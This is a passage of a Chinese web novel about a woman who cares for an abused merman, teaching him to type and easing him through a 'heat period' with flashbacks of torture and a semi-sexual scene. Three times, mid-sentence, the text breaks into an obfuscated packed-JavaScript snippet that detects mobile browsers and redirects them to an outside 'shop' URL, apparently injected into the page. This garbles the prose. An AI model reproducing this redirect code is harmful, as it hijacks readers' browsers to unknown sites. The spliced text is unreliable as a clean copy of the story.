“有,尤其是盯着手机的时候笑得最明显,你是不是在摸鱼啊,我可以教你更隐秘的摸鱼方法。”李游后半句话声音小了下去,脸上明明白白写着打工人帮助打工人。 路溪法陷入了回忆中,上班看两眼手机不是很正常吗?她每天上班都用手机……看监控里的人鱼。 一见路溪法这个表情,李游就知道她猜对了,很快发过来一个链接,名叫“上班摸鱼三十六计”。 “亲测好用!” 路溪法没好意思说她摸的什么“鱼”,谢过李游,点开链接仔细拜读一遍,可惜没有神不知鬼不觉看监控的办法。 整整一天,路溪法克制自己不要总是点开监控,下班时间一到她正准备走人,李游叫住她:“你去哪?” “回家啊。” “通知了今晚聚餐,你忘了?” 路溪法愣了一下,她忘了,而且是彻彻底底忘了,她昨天还跟人鱼说今天想吃什么晚饭。 路溪法心生纠结,李游不知道她在想什么,慢悠悠地收拾东西:“我也不喜欢聚餐,但是不去又不太好,所以还是去吧,埋头干饭就行,咱们组经费还是很充足的。” 路溪法心想是这个理,她所在的小组是新成立的,大家入职时间差不多,所以还算有共同话题,席间气氛很快就热闹了起来。 “这个好吃,花了大价钱就是不一样。” 在李游的热情推荐下,路溪法也点了一份,入口滋味十分美妙,正因如此路溪法更加心不在焉。 李游碰了一下她的肩膀:“不好吃吗?” “好吃。” “那你怎么还吃惆怅了?” “因为家里也有这么好吃的饭在等我。” 这个时候人鱼肯定已经做好饭了,路溪法不回去人鱼不会先吃饭的,想到他饿着肚子蜷缩在沙发上,路溪法心里非常不是滋味。 “不是吧,你家人做饭这么好吃?我家没一个会做饭的,所以愿意站出来掌勺的人就算煮一锅黑暗料理其他人也不敢有意见。” “对啊,超级好吃,炒个小白菜都能色香味俱全。” 李游羡慕得不行:“我要找个理由去你家吃饭,我自带吃饭的家伙。” 路溪法笑起来:“那我得问问他。” 一顿饭吃到九点多,还有人在陆陆续续点餐,路溪法去了洗手间,没忍住打开手机查看监控。 沙发上空无一人,人鱼跪坐在客厅门口,从这个角度看过去,只能看见他仰头盯着紧闭的门,偶尔挺直身体把耳朵贴在门上。 不一会儿人鱼又恢复了跪坐的姿势,尽管看不见他的表情,可路溪法总觉得他的表情一定很失落。 “真是个笨蛋鱼,都让他在沙发上等了。” 路溪法隔着屏幕摸摸人鱼,像是有感应一样,人鱼回头看了一眼,扶着墙壁膝行离开门口。 “这样才对,快回沙发上待着。”路溪法跟着人鱼的身影转动摄像头,发现他进了厨房,很快她又听见叮的一声,然后人鱼慢慢出了厨房,再次回到门口跪好。 虽然人鱼的舌头拆了线,但是吃饭速度应该没有这么快吧?那他进厨房是为了……加热饭菜等她回去吃吗? 这个想法进入脑海之后,路溪法一刻也不想再耽搁了,马上返回包厢,李游见她回来问:“你去洗手间了吗?怎么去了那么久?刚才大家提议吃完饭去KTV唱歌。” “你们去吧,我不去了,我要回家。” “你家人催你了?” “家里有鱼在等我。” 路溪法打车回家,路上她的手机一直开着,希望看见人鱼去吃饭或者去睡觉的画面,可是人鱼始终待在门后。 她以前怎么没发现,回家的路这么远。终于走到门口,路溪法迫不及待拉开房门,人鱼的脸映入眼帘。 “主人。”他仰着头,想把怀里抱着的小鱼日程表交给路溪法,才挺起腰便重心不稳向前栽去。 路溪法眼疾手快接住人鱼,尽管他戴了护膝,一直压在身下的小腿还是红了一片。 “你的腿疼吗?” “不会疼的。”人鱼摇头,他的两条小腿早就没知觉了。 “那你一直跪在门口不难受吗?” 人鱼还是摇头:“在门口、才可以听见、主人的声音。” “对不起,我忘记告诉你今晚有团建了。以后如果我没有准时回家,你就自己吃饭,然后在沙发上休息,知道吗?” “主人,明天也会回来很晚吗?” “不会,明天我会准时回来。” “后天会回来很晚吗?” “不会。” “大后天呢?” 路溪法不确定,今天聚餐时领导说她们马上就要开始做项目了,也许会时不时加班。 人鱼认真地说:“我会、等着主人回来,吃到热的饭菜。” 路溪法也想和人鱼一起吃饭,但不想让人鱼像今天这样等着,要是人鱼有手机……对了,给他准备一台手机不就好了。 路溪法正好有换下来的旧手机,马上找了出来:“这是阿尔冯斯,以后就是你的了。” 人鱼张了张嘴:“阿尔……?” “iPhone14,你也可以给它取个新名字,我把我的微信小号给你,方便我们随时联系。” 她把小号昵称改成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541178|203590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小鱼”,给人鱼发了一条消息。 678:哈喽哈喽小鱼 人鱼捧着手机不知所措,路溪法催促他:“你也给我发消息啊,随便发什么都行。” “我不会、打字。” “啊?”路溪法始料未及,“你之前用过手机吗?” “没有。” “那你会使用拼音或者手写吗?” “不会。”人鱼低下头,盯着路溪法发过来的文字,“我没有上过学。” 太可恶了,前主人都没有让人鱼接受九年义务教育吗?路溪法愤愤不平:“我教你,在此之前你可以给我发语音,点一下这个小话筒然后说话就行了。” “我会给主人、添麻烦吗?” “当然不会。” 路溪法是行动派,监督人鱼吃完晚饭,她找出纸笔默写拼音:“等等,拼音有多少个来着?” 路溪法上网搜了一下,这才想起来拼音分为声母、韵母和整体认读音节。“没问题了,我们循序渐进,今晚你学会怎么读就行。” “好的,主人。” 路溪法先教人鱼读了几遍,然后去了浴室,等她出来人鱼还在捧着本子默默背诵。 “你还记得多少?” “我不知道。” “那你读一遍我听听。” 人鱼一个一个读给路溪法听,他的声带差不多快痊愈了,褪去沙哑的嗓音清澈悦耳。 “还不错,不过为了确定你是不是真的记住了,我还要听你再读一遍。” 人鱼正想从头开始,路溪法拦住了他,伸手指向最后一个拼音:“倒着读。” 身为一个背过字母表、元素周期表的人,路溪法很清楚有时候不是记住了,而是读顺嘴了。 人鱼脸上划过一丝窘迫,不过他还是老老实实跟着路溪法的手指倒着读了一遍。 “大概对了一半,我再教你几遍,明天应该就没问题了。” 学到快十二点,路溪法决定去睡觉,人鱼叫了一声主人,拉住她的袖子,然后马上又放开了。 “怎么了?” “明天的日程表、主人还没有写。” “你不说我都忘了。”路溪法接过小鱼日程表,简单算了一下,“你现在都能兑换7个愿望了,还没想好要什么吗?” “我想快点学会、拼音。” “你还真是一条爱学习的鱼啊,可惜我不是阿拉丁神灯,没办法让你一下子就学会,只能慢慢教你。” “谢谢主人。” “你又说谢谢,不许说了。” “好的,主人。” “给你的日程表。” “谢谢、不谢谢主人。” 路溪法:“……” 第二天上班,李游好奇地来问路溪法:“你昨晚说家里有鱼在等你是什么意思?” “就是字面上的意思。” 李游哇了一声,眼神中带上几分敬意:“原来你是海王?” “什么?不是。”路溪法哭笑不得,她倒是不介意海王的名号,前提是她真有一池塘鱼才行,“我说的鱼就是鱼,人鱼。” “嗡——嗡——” 路溪法的手机响了,屏幕上弹出两条消息,好友昵称是小鱼。 7.不、太、对、劲 小鱼:【图片】 小鱼:【语音】 图片是吃的干干净净的空盘子和碗,语音的是人鱼一本正经的话:“主人,我已经按时、吃完饭了。” 李游挑起眉毛:“这就是你家的人鱼?” “对。” “我也见过一个定制人,基因改造程度不高,浑身都是毛发,必须要用铁链拴着才行。” “我的人鱼脾气很好。” “听出来了,他的声音真好听啊,都能去当声优了。” 路溪法本来想讲讲她是怎么遇见的人鱼,手机震动提醒她又有新消息发来了。 小鱼:【图片:干净整洁的碗盘】 小鱼:【语音:主人、我洗好碗了】 小鱼:【图片:路溪法的全黑外套和黄色海绵宝宝袜子】 小鱼:【语音:主人,我叠好衣服了】 小鱼:【图片:阳台】 小鱼:【语音:主人,我给秋香、翠翠、阿丽娅、云宝、吕布浇过水了】 整个上午,路溪法每隔一段时间就会收到人鱼发过来的消息,每次都是一张图片加一条语音,向她汇报吃药、洗衣服、擦地、浇花、收拾垃圾等一系列事情。 路溪法从来只在日程表上写跟人鱼有关的任务,没注意到人鱼居然默默做了这么多事情,难怪她回家后总觉得没有家务可做。 这么勤劳,好适合穿小男仆服装……不对,路溪法按下自己的想法。 678:我的手机一直在响 678:勤劳的鱼 小鱼:【语音:我打扰、到主人了吗】 678:没有,你想发就发 678:而且你不用再忙了,看会儿电视去吧,你不是很爱看那种小甜剧吗 小鱼:【语音:我在学习、拼音】 678:不会读的可以问我 路溪法低头回复消息,头顶响起李游的声音,她从工位冒出来:“我好像知道你之前为什么笑了。” 路溪法下意识竖起手机:“什么?” “因为你在和人鱼聊天对不对?你在哪家公司买的定制人,感觉很好玩的样子,我可以看看他的照片吗?” “他不是我买的,呃,算是我捡的,我手机里还没有他的照片。” “这样啊,听得我更好奇了,希望有机会能见见你的人鱼。” “嗡——嗡——”又有消息发了过来,路溪法点开查看。 小鱼:【图片:两行手写拼音】 小鱼:【语音:主人,这些我忘记、怎么读了】 拼音字迹工整,但更像是画下来的,路溪法发语音读了一遍,人鱼回复谢谢主人。到了下午,她终于收到两条人鱼玩耍的消息。 小鱼:【图片:电视屏幕】 小鱼:【语音:主人,我在看电视】 屏幕上是青涩的主角撑伞走在雨中,虽然两人没有看着彼此,但是女主抓紧书包带子的手和男主微微泛红的耳尖出卖了他们此刻的心情。 人鱼:【语音:主人觉得我、烦了吗】 678:没有啊,为什么这样问? 人鱼:【语音:主人没有回复我的、消息】 678:我在上班???? 678:没法时时刻刻盯着手机 人鱼:【语音:对不起】 678:我不会觉得你烦,只要你给我发消息我一定会回的,虽然可能晚一点 人鱼:【语音:谢谢主人】 人鱼:【语音:主人晚上想吃什么,冰箱里还有、这些食物】 人鱼:【图片:冰箱】 678:你每天做饭累不累,要不我今晚点外卖? 小鱼:【语音:主人、不喜欢吃、我做的饭了吗】 678:当然不是,以前你没告诉我,我都没注意到你做了这么多事情,现在你还要学习,我担心你太累了 小鱼:【语音:我不累】 678:好吧 678:我想吃西兰花? 路溪法只用一秒就想好了要吃什么,好不容易熬到下班,她瞬间腰也不疼了腿也不酸了,快乐地发消息告诉人鱼。 小鱼:【语音:我快做好饭了】 678:不着急,我大概还有半个小时到家 路溪法心情愉悦,离家越近她就越开心,推开门看见人鱼时最开心。 “主人。”人鱼一如既往跪在门口仰头看她。 路溪法垂下目光,和人鱼说话时很难不注意他的眼睛,湛蓝,纯粹,像未命名的海洋。看着他的眼睛又很难不注意他的睫毛,浓密,纤长,恰到好处地中和了他深邃的眉骨,使得他的无辜达到顶峰。 路溪法一时心动,顺手捧住人鱼的脸捏了捏,捏完才反应过来人鱼不是小狗:“啊,对不起。” “主人为什么要、说对不起?” “我把你当成贝拉了。” 人鱼眨了一下眼睛:“贝拉是谁?” “是我的狗,边牧,也是蓝色眼睛。” 路溪法小时候喜欢狗,路云送了她一只边牧,她最快乐的记忆就是妈妈牵着她、她牵着贝拉一起出去散步。后来路云和刘离婚了,边牧也被刘卖掉了。 人鱼又眨了一下眼睛:“主人可以叫我贝拉。” “不行,贝拉是小狗的名字。” “我会当狗。” 路溪法顿了片刻,认真地问:“那你喜欢当狗吗?” 人鱼似乎没想到她会问这个问题,思考了一会儿:“主人喜欢贝拉。” “对,但我喜欢贝拉并不仅仅因为它是狗。” 人鱼垂下眼帘:“我知道了。” 路溪法再次捧住人鱼的脸让他抬头:“你也一样,你是世界上独一无二的小鱼,你只需要做你自己。” 人鱼张了张嘴:“可是、我不知道、该怎么做。” “找到自我是一件漫长的事,对我来说也是,你可以慢慢想。” 吃过晚饭,路溪法拉着鱼趴到桌边:“拼音认读对你来说问题不大,今晚我们学习一下笔顺。你看我是怎么下笔的,你跟着写一遍。等等,你的姿势不太对。”路溪法抓住人鱼的手帮他调整握笔姿势,“大拇指放在这里,食指和中指放在这里。” 人鱼手指修长,路溪法摆弄时感觉到他的手很凉:“你冷吗?” “不冷。”人鱼摊开手掌,掌心纹路清晰漂亮,“我的温度、一直都比较低。” 路溪法一想也是,毕竟他是鱼嘛。 “好了,就像这样握笔,你来写吧。” 人鱼认真地在纸上练习拼音,有了指导,他的字更工整了,路溪法暗自感叹怪不得老师喜欢听话的学生呢,这种教了就有效果的成就感谁不喜欢。 教完拼音,她又教人鱼打字:“其实也很简单,比如我叫路溪法,你想打出‘路’字就要先按一个L,然后再按一个U。” 人鱼捧着手机在一堆字母中寻找L,手指不小心误触屏,幕键盘立刻变了样子。 “主人、我不会……” “没事,你再点一下就能切回来了。” 人鱼迟迟不敢下手,路溪法理解他的紧张:“这样吧你把手机放在桌上,先用一根手指打字,这样就不会误触了。” 人鱼听话照做,路溪法握住人鱼的手,带着他的手指落在键盘上正确的位置:“你看,就是这样,很简单吧。” 人鱼盯着屏幕上的文字,默默念了一遍:“路、溪、法。” “对,我的名字就是这三个字。” “主人的名字。”人鱼移动手指轻轻点了发送,路溪法的手机随即亮了起来。 小鱼:路溪法 人鱼笑了起来,开心地转过脸,视线正好撞进路溪法眼中。人鱼抿了抿唇,压下嘴角翘起的弧度:“谢谢、主人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549254|203590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一连几天,路溪法有空就会教人鱼,人鱼也学的很认真,他给路溪法发消息。 小鱼:【图片】 小鱼:【语音:主人,这是我、今天的默写】 678:你要不要试着给我发文字 小鱼:【语音:我总是、打错字】 678:没关系,错字我也能看懂 小鱼:【语音:我会努力练习的】 678:我也会努力教你的 678:【表情包:蒸蚌】 小鱼:【语音:主人晚上要吃、蒸蚌吗】 678:哈哈哈哈哈哈哈哈哈 678:蒸蚌就是“真棒”,有时候我们会故意打错字 小鱼:【语音:我知道了】 小鱼:【语音:那主人晚上、想吃什么】 路溪法的笑容消失了,她今晚要加班,已经提了加班申请。 678:你自己吃饭吧,不用等我,我在公司吃 678:早点休息 小鱼:【语音:我会等着主人】 678:可是我回家都很晚了啊 小鱼:【语音:我等、主人回家】 路溪法放下手机,加班令人悲伤,但是真忙起来时间又溜得飞快,不知不觉三个小时就过去了。或许是因为知道她在加班,人鱼没有再给她发消息,两人的聊天记录停留在之前的界面,路溪法告诉他自己下班了他也没回。 回到家推开门,人鱼居然破天荒的不在门口。看见浴室的灯亮着,路溪法不作他想,说了一句:“我回来了。” 浴室里静悄悄的,路溪法打开冰箱拿了瓶水,坐在沙发上玩手机,刷到别人发的露营帖子顺手点了收藏,想等人鱼出来问他有没有兴趣。 不知不觉半个小时过去了,路溪法看了一眼时间,忽然意识到从回来到现在她都没有听见任何水声,忍不住去敲浴室的门:“你洗完了吗?” 没人回答,路溪法皱起眉头:“鱼?” 浴室里传出一声细微的响动,但也仅仅只有一声。 人鱼在浴室里,而且听见了她的声音,那为什么不说话?路溪法又敲门:“你忘记带衣服了吗?我可以给你送进去。” 她握住门把手往下压,咔哒一声门锁开了。 “不要进来!”人鱼的声音又急又哑,完全不像平时的样子。 路溪法松开门把手,她没进去,也没离开:“你怎么了?你的声音听起来很不对劲。” 不知道为什么人鱼又不说话了,漏出两声压抑的低喘。 “你现在很不舒服吗?能不能让我进去看看你?如果你生病了我可以带你去医院。” “不要……唔……”人鱼刚开口就被喘息声打断了,路溪法听见他声音发颤,艰难地说:“主人、求你不要、进来……我会变好的……” “什么意思?我想知道你怎么了?” 人鱼大口喘息,似乎已经无法通过克制压抑自己,其中还夹杂着啜泣。 路溪法尽力放平声音:“我很担心你,可以让我进去看看你吗?” 经过漫长的等待,浴室里终于响起回答:“……好。” 路溪法推开门,迎面扑来一阵寒意,人鱼趴在浴缸边缘,面色潮红,金色长发散在水中,抬头看过来的眼神湿漉漉的:“主人……” 路溪法伸手摸了一下他的额头:“你发烧了?”问完她又觉得不对,浴缸里根本就是凉水。 人鱼气息紊乱,松手滑入水中,冷水一直没过他的下颌:“主人、不要看我……我现在、很恶心……” “你怎么了?”路溪法担心人鱼脱力呛水,下意识揽住他的肩膀,才一接触,人鱼口中就溢出一声难耐的呻/吟。 路溪法眉心一跳。 人鱼眼中氤氲的水汽漫了出来,打湿他的面颊。 “我进入发热期了……主人……不要讨厌我,我会变好的……” 8.发热期 “果然是个畜生。” “真是恶心。” “废物,浪费我的时间。” …… 人鱼蜷缩在墙角,紧紧抱住自己,可是无论他躲到哪里,都逃脱不了拳打脚踢。 主人讨厌他,更讨厌进入发热期而无法配合实验的他,没用的东西根本不配存在。他的眼睛、他的声音、他的一切都无比恶心,所以主人要惩罚他。 “谁允许你看我的?” 脖子被人掐住,人鱼害怕地闭紧眼睛,感觉到眼下一阵刺痛。 “别再让我听见你声音。” 人鱼咬紧牙关,依然无法无法阻止嘴被撬开。 “还敢跑是吗?” 前面没有路了,椅子拖在地上的声音一点点逼近,直到渗进人鱼骨子里。 他的鳞片被拔掉了,钢丝穿透他的舌头,小腿再也无法站起。 可是主人依然觉得他很恶心。 人鱼被抓住头发按进水里,窒息的感觉冲上颅顶,肺里针扎一样刺痛。好痛啊,他真的好痛……到底什么时候才能不会痛呢……人鱼渐渐没有力气挣扎,他好像到了另一个世界。 再次睁开眼睛,人鱼发现自己躺在垃圾堆里,头顶是灰蒙蒙的天空,几个穿着绿色工服的人站成一圈。 “它还没死,怎么被扔了?” “谁知道呢,可能懒得花钱处理它,带回去吧。” “等等,它是个残废,不值钱了。” “可以当盲盒卖。” “行,希望它多活几天,别死在路上哈哈。” 人鱼等待着未知的命运,他会被送到哪里?谁会成为他新的主人? “我叫路溪法。” “现在你的主人是我。” “我向你保证,我不会用语言羞辱你,也不会用暴力伤害你。” 人鱼默默念着新主人的名字,他只认识很少的字,是哪个路、哪个溪、哪个法呢? 他以为自己永远也不会有机会知道,可是主人握着他的手,慢慢在屏幕上打出了那三个字——路溪法。 主人还说,他是独一无二的鱼,只需要做自己就好。 “我想做什么?” 人鱼问自己。 “我想不再挨打,我想不再当实验品……我想吃冰激凌……我想学习……我想看见主人……我想看见主人……” 人鱼捧着手机,等待路溪法下班回家是期待的,身体里爬起的燥热却是恐惧的。 为什么偏偏在这种时候他要进入发热期了,主人看见他一定会觉得恶心的。 人鱼害怕路溪法露出厌恶的眼神,只是想想他就受不了。趁着路溪法还没回来,他爬进浴缸里放满凉水,试图压□□内的燥热。 身体外面是冷的,里面却是热的,难以言说的欲望在他体内横冲直撞,撕扯着他的神志。 冷水没有作用,也许疼痛可以。 人鱼伸出胳膊狠狠咬了下去,血腥味随之弥漫在口腔里。疼痛让他的意识清醒了几分,恍惚间好像听见了路溪法的声音。 “主人……”人鱼哑声呢喃,不是错觉,真的是路溪法在门外。 他很害怕,可是他没有办法拒绝路溪法,所以他只能乞求:“主人、我会变好的……不要讨厌我……” 路溪法抓住人鱼血迹斑斑的胳膊,阻止他再咬自己:“先出来,把湿衣服换掉。” 人鱼的眼泪流个不停:“我不想、让主人看见、我这么恶心的样子。” “一点都不恶心,如果你很难受我们就去看医生好吗?” “不、不要。” 人鱼一个劲儿地拒绝,路溪法改口道:“好,不去看医生,你先出来,不然会冻感冒的。” 她耐心地把人鱼哄出浴缸,脱了湿衣服裹上薄毯。没了冷水压制人鱼的脸更红了,缩在沙发角落里小声喘息。 路溪法飞速打开手机线上问诊,换了好几个医生,终于有一个对人鱼比较了解。 医生:人鱼的发热期通常持续一周左右,在此期间会出现焦躁、敏感、黏人、食欲不振等反应,让它完成交/配可以提前结束发热期 不行……没有那个条件。路溪法询问医生还有没有别的办法。 医生:每天服用1-2支抑制剂,直到发热期过去,不过抑制剂的价格比较贵 678:什么样的抑制剂 医生说了名称,路溪法紧急下单了一盒,系统显示一个小时后才能送到。 678:我的人鱼现在很难受,有没有办法缓解? 医生:抚摸它的后颈可以起到抚慰作用 医生:我不推荐这种做法,可能会让人鱼出现过界行为 路溪法谢过医生,放下手机告诉人鱼:“我已经买了抑制剂,快送到了,你吃了就不会难受了。” 人鱼含糊不清地嗯了一声,湿漉漉的眼睛半阖着,他要紧紧咬住嘴唇才能防止发出声音。 路溪法很纠结,她看见了医生的提醒,可是人鱼看起来真的很难受。 “你过来枕在我腿上好吗?我想让你舒服一些。” 人鱼努力掀开长睫:“我会弄脏、主人。” “不会的,你很干净。”路溪法隔着薄毯揽住人鱼,让他躺下枕在自己腿上,然后轻轻按住他的后颈。 人鱼立刻唔了一声,尾音婉转,听得人好像被毛茸茸的小爪子挠了一下。路溪法拍拍他,顺着他的后颈往下轻抚。人鱼发抖,身体蜷起又展开,细碎的喘息渐渐连成片段。 意识到自己在呻/吟,人鱼惊慌地咬住舌尖,路溪法抚了一下他的唇角:“别咬,没关系的。” “我的声音、太恶心了。” “没有,你的声音特别好听。”路溪法没好意思说,好听得都有点过头了。 在他的安抚下,人鱼慢慢松开牙关,抓紧薄毯的手也不自觉松了,露出一片光裸脊背。 路溪法垂下目光,指尖下的皮肉纤薄紧致,犹如绸缎一般柔滑,没了薄毯作为阻隔,她的手再往下滑时人鱼忍不住哼出似满足似难耐的声音。 路溪法的心脏跳了跳,迟迟没有下一步动作,人鱼挑起湿润的眸子看她:“主人、再摸摸我。” “……嗯。” 路溪法稳住心神,虽然需要抚慰的人不是她,但是那种触感实在令人爱不释手,手掌滑到下面时更是觉得那纤细的腰一手都能掐住。 人鱼浑身酥软,渐渐摊开四肢,薄毯也在不知不觉间滑到了腰间。路溪法忍不住多看了两眼,目光所到之处无不赏心悦目,唯有那串黑色编码格外碍眼。 “主人……”人鱼翻了个身平躺在沙发上,湿润的目光迷离不清,只是无意识地往她怀里蹭。 毯子本来就滑到了人鱼腰间,如此一来又随着动作向两边散开,路溪法眼疾手快,一掌按在人鱼小腹上,阻止了毯子彻底散开。 人鱼嘤咛一声,像是受了莫大的刺激,主动挺腰去蹭路溪法的手:“我还要……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553279|203590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “什么?” 人鱼迷迷糊糊,抓住路溪法的手按下去。他的动作指向明显,路溪法本来想说不太好吧,眼睛却先一步看了过去,瞥见一抹红色痕迹。 这是人鱼的胎记吗?红痕约有指甲大小,色泽鲜艳,形状很像鳞片,正好落在人鱼的下腹居中处。此时此刻,那片红色鱼鳞正随着人鱼的呼吸微微起伏。 没由来的地,路溪法伸手碰了一下红色鱼鳞。人鱼猛地扬起脖颈,胸口剧烈起伏:“这里、也要。” “你想让我摸摸你的胎记?”路溪法意识到她刚才理解错了,决定摸一下试试,摊开掌心贴住那块痕迹揉了起来。 人鱼小腹紧绷,唇齿间溢出源源不断的呻/吟,半睁半闭的眸子里盛满了水,却还是一副纯然无辜之态。 路溪法没法一直看着这样一张脸,尤其是人鱼还在呻/吟间隙叫她主人。她把视线往下,看见人鱼的两道锁骨清晰笔直,透着一点薄粉,再仔细看,那粉色是从他胸口蔓延开的。 不知道从什么时候开始,他的汝尖完全挺了起来,形状饱满,色泽樱粉。 ……还是继续往下看吧。 路溪法的目光落在人鱼小腹上,那抹红色鳞片不仅颜色艳了,似乎还变大了。是错觉吗?还没等她停下仔细观察,人鱼夹紧双腿,欲求不满地哼了起来。 路溪法干脆闭上眼睛,继续手中动作。 抑制剂提前十分钟送了过来,路溪法十分感谢外卖员的迅速。她把抑制剂拧开递到人鱼嘴边,人鱼顺从地含进口中,冰蓝色液体顺着喉咙一路流进胃里。 “苦吗?” “没有、味道。” “那就好,应该很快就会见效了。”路溪法给人鱼盖好薄毯,让他平躺在沙发上。 “主人。”人鱼抓住路溪法的手指,这是冒犯主人的行为,“你要惩罚我吗?” “惩罚你做什么?” “我今天没有、完成日程表。” “日程表是为了奖励你,不是为了惩罚你。” “我还、弄脏了浴室。” “没有,不脏。” “我给主人制造了、麻烦,让主人看见我很、恶心的样子。” “不是麻烦,也不恶心,那是正常的生理反应,就像人类没有发热期也会有性/欲啊。”人鱼神情怔忡,路溪法拍拍他,“不要想那么多啦,你现在感觉怎么样,抑制剂见效了吗?” “我不知道,我……” “怎么了?” 人鱼认真感受身体里的变化:“我里面还在流水。” “啊?哦。”路溪法反应过来人鱼在说什么,不免有些脸热,咳了两声,“那你还难受吗?” “没有、那么难受了。” “那证明抑制剂是有用的,你想吃点东西吗?” “我不饿。” “好,快休息吧。”路溪法调暗客厅的灯,又在桌上放了一杯温水,挽起袖子收拾浴室。 她担心吵到人鱼,特意放轻了动作,沙发上的人影安安静静,像个蚕茧,应该是睡着了。然而等她出来,发现人鱼翘着脑袋,一眨不眨地望着她。 “我吵醒你了?” “我、没有睡。” “你不困吗?”路溪法觉得人鱼现在应该很困很想睡觉才对。 人鱼眨了一下眼睛,昏暗的灯影描摹着他的轮廓,让他看起来更无辜了。 “我想看着、主人……明天一天、主人都不在家。”